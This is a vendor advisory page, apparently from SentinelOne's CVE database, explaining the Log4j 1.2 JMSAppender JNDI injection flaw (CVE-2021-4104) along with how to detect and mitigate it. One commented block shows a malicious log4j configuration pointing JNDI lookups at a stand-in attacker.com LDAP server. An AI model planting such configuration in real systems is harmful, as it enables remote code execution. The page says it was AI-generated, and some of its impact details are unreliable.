Join the Cyber Forum: Threat Intel on May 12, 2026 to learn how AI is reshaping threat defense.Join the Virtual Cyber Forum: Threat IntelRegister Now
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2021-4104

CVE-2021-4104: Apache Log4j 1.2 JMSAppender RCE Flaw

CVE-2021-4104 is a remote code execution vulnerability in Apache Log4j 1.2 JMSAppender that allows attackers to execute arbitrary code through JNDI injection. This article covers technical details, affected versions, and mitigation.

Published: March 4, 2026

CVE-2021-4104 Overview

CVE-2021-4104 is a high-severity insecure deserialization vulnerability affecting the JMSAppender component in Apache Log4j 1.2. When an attacker has write access to the Log4j configuration, they can exploit this vulnerability by providing malicious TopicBindingName and TopicConnectionFactoryBindingName configurations. This causes JMSAppender to perform JNDI requests that can result in remote code execution, similar to the exploitation mechanism used in the more widely publicized CVE-2021-44228 (Log4Shell).

This vulnerability specifically affects Log4j 1.2 installations that are explicitly configured to use JMSAppender, which is not enabled by default. Given that Apache Log4j 1.2 reached end of life in August 2015, organizations still running this legacy version face significant risk and should prioritize migration to Log4j 2.

Critical Impact

Successful exploitation allows remote code execution through JNDI injection when attackers gain write access to Log4j configuration, potentially leading to complete system compromise across enterprise Java applications.

Affected Products

  • Apache Log4j 1.2
  • Red Hat JBoss Enterprise Application Platform 6.0.0 and 7.0
  • Red Hat OpenShift Container Platform 4.6, 4.7, and 4.8
  • Red Hat Enterprise Linux 6.0, 7.0, and 8.0
  • Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0
  • Oracle Business Intelligence (multiple versions)
  • Oracle MySQL Enterprise Monitor
  • Oracle GoldenGate
  • Fedora 35

Discovery Timeline

  • 2021-12-14 - CVE-2021-4104 published to NVD
  • 2024-11-21 - Last updated in NVD database

Technical Details for CVE-2021-4104

Vulnerability Analysis

The vulnerability resides in the JMSAppender class within Log4j 1.2, which is responsible for publishing log events to a JMS (Java Message Service) Topic. The core issue stems from improper handling of configuration parameters that are used to perform JNDI (Java Naming and Directory Interface) lookups.

When JMSAppender is configured, it accepts two critical parameters: TopicBindingName and TopicConnectionFactoryBindingName. These parameters specify JNDI names that the appender uses to locate JMS resources. If an attacker can modify the Log4j configuration file, they can set these parameters to point to attacker-controlled JNDI endpoints.

Upon application restart or configuration reload, JMSAppender performs JNDI lookups using the attacker-supplied values. This can lead to deserialization of untrusted data from a malicious LDAP, RMI, or CORBA server, ultimately resulting in arbitrary code execution on the vulnerable system.

The exploitation requires a specific precondition: the attacker must have write access to the Log4j configuration. This typically occurs through complementary vulnerabilities such as arbitrary file write, configuration injection, or compromised administrative credentials.

Root Cause

The root cause is insecure deserialization (CWE-502) in the JMSAppender component. The appender blindly trusts JNDI names provided in the configuration without validating that they reference legitimate, trusted resources. When these JNDI lookups are resolved, Java's serialization mechanism deserializes objects from potentially untrusted sources, allowing attackers to execute arbitrary code through gadget chains present in the application's classpath.

Attack Vector

The attack exploits JNDI injection through configuration manipulation. An attacker with write access to the Log4j configuration can modify the JMSAppender settings to reference a malicious JNDI endpoint. When the application processes this configuration, it performs an outbound JNDI lookup to the attacker's server, which responds with a serialized Java object containing malicious code. The vulnerable application deserializes this object, triggering code execution in the context of the Java application.

The attack flow involves: gaining write access to Log4j configuration, inserting malicious JNDI URLs into JMSAppender parameters, triggering a configuration reload or application restart, and receiving the callback on an attacker-controlled server that delivers a malicious serialized payload.

// Conceptual attack flow for CVE-2021-4104
// Note: Exploitation requires write access to Log4j configuration

// Malicious log4j.properties configuration:
// log4j.appender.jms=org.apache.log4j.net.JMSAppender
// log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://attacker.com:1389/Exploit
// log4j.appender.jms.TopicBindingName=ldap://attacker.com:1389/Exploit

// When JMSAppender initializes, it performs JNDI lookup:
// InitialContext.lookup("ldap://attacker.com:1389/Exploit")
// This retrieves and deserializes a malicious Java object from the attacker's server

Detection Methods for CVE-2021-4104

Indicators of Compromise

  • Unexpected modifications to Log4j configuration files (log4j.properties, log4j.xml)
  • Presence of external LDAP, RMI, or CORBA URLs in Log4j configuration parameters
  • Outbound network connections to unusual ports (commonly 1389 for LDAP exploitation)
  • Java process spawning unexpected child processes or reverse shells
  • Presence of JMSAppender configuration in applications that do not require JMS functionality

Detection Strategies

  • Implement file integrity monitoring on all Log4j configuration files to detect unauthorized modifications
  • Deploy network monitoring to detect outbound JNDI lookup attempts (LDAP on port 389/1389, RMI on port 1099)
  • Scan application deployments for the presence of Log4j 1.x JAR files using software composition analysis tools
  • Review application configurations for JMSAppender usage and validate the legitimacy of configured JNDI endpoints

Monitoring Recommendations

  • Enable verbose logging for Java applications to capture JNDI lookup operations
  • Configure SIEM rules to alert on log4j configuration file changes and suspicious JNDI connection patterns
  • Implement network egress filtering and monitor for connections to non-whitelisted LDAP/RMI servers
  • Deploy endpoint detection and response (EDR) solutions to monitor Java process behavior and detect post-exploitation activities

How to Mitigate CVE-2021-4104

Immediate Actions Required

  • Audit all applications for the presence of Log4j 1.x and identify any JMSAppender usage
  • Upgrade from Log4j 1.x to Log4j 2.x (version 2.17.1 or later recommended) to address this and numerous other vulnerabilities
  • If immediate upgrade is not possible, remove the JMSAppender class from the Log4j JAR file
  • Restrict write access to Log4j configuration files using appropriate filesystem permissions
  • Implement network egress filtering to block outbound JNDI connections to untrusted destinations

Patch Information

Apache Log4j 1.2 reached end of life in August 2015 and will not receive security patches for this vulnerability. The recommended remediation is to upgrade to Apache Log4j 2.17.1 or later, which addresses CVE-2021-4104 along with numerous other security issues present in the 1.x branch.

Vendor-specific patches are available from Red Hat, Oracle, and other affected vendors. Consult the Red Hat CVE-2021-4104 Advisory and the Oracle January 2022 Security Alert for product-specific guidance.

Workarounds

  • Remove the JMSAppender class from the Log4j JAR file by deleting org/apache/log4j/net/JMSAppender.class
  • Ensure Log4j configuration files have restrictive permissions preventing unauthorized write access
  • Configure Java system properties to disable JNDI lookups: -Dcom.sun.jndi.ldap.object.trustURLCodebase=false and -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
  • Implement application-level firewalls to block outbound LDAP and RMI connections
  • If using a vulnerability scanner or RASP solution, enable runtime protection against JNDI injection attacks
bash
# Remove JMSAppender class from Log4j 1.x JAR as a workaround
# WARNING: This modifies the JAR file - test thoroughly before deploying to production

# Navigate to your application's lib directory
cd /path/to/application/lib

# Remove the JMSAppender class from the JAR
zip -q -d log4j-1.2.*.jar org/apache/log4j/net/JMSAppender.class

# Verify the class was removed
unzip -l log4j-1.2.*.jar | grep JMSAppender

# Restart the application to apply changes
systemctl restart your-application

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechApache Log4j

  • SeverityHIGH

  • CVSS Score7.5

  • EPSS Probability73.69%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Impact Assessment
  • ConfidentialityHigh
  • IntegrityNone
  • AvailabilityHigh
  • CWE References
  • CWE-502
  • Technical References
  • Openwall OSS Security List

  • Red Hat CVE-2021-4104

  • GitHub Log4j PR Comment

  • SonicWall Vulnerability SNWLID-2021-0033

  • Gentoo GLSA 2022-09-02

  • Gentoo GLSA 2023-10-16

  • Gentoo GLSA 2023-12-02

  • Gentoo GLSA 2023-12-04

  • NetApp Advisory NTAP-20211223-0007

  • CVE-2021-44228 Record

  • CERT VUL ID 930724

  • Oracle April 2022 Security Alert

  • Oracle January 2022 Security Alert

  • Oracle July 2022 Security Alert
  • Related CVEs
  • CVE-2021-44228: Siemens 6bk1602-0aa12-0tp0 RCE Flaw

  • CVE-2021-45046: Apache Log4j RCE Vulnerability

  • CVE-2022-23302: Apache Log4j JMSSink RCE Vulnerability

  • CVE-2021-44832: Apache Log4j RCE Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English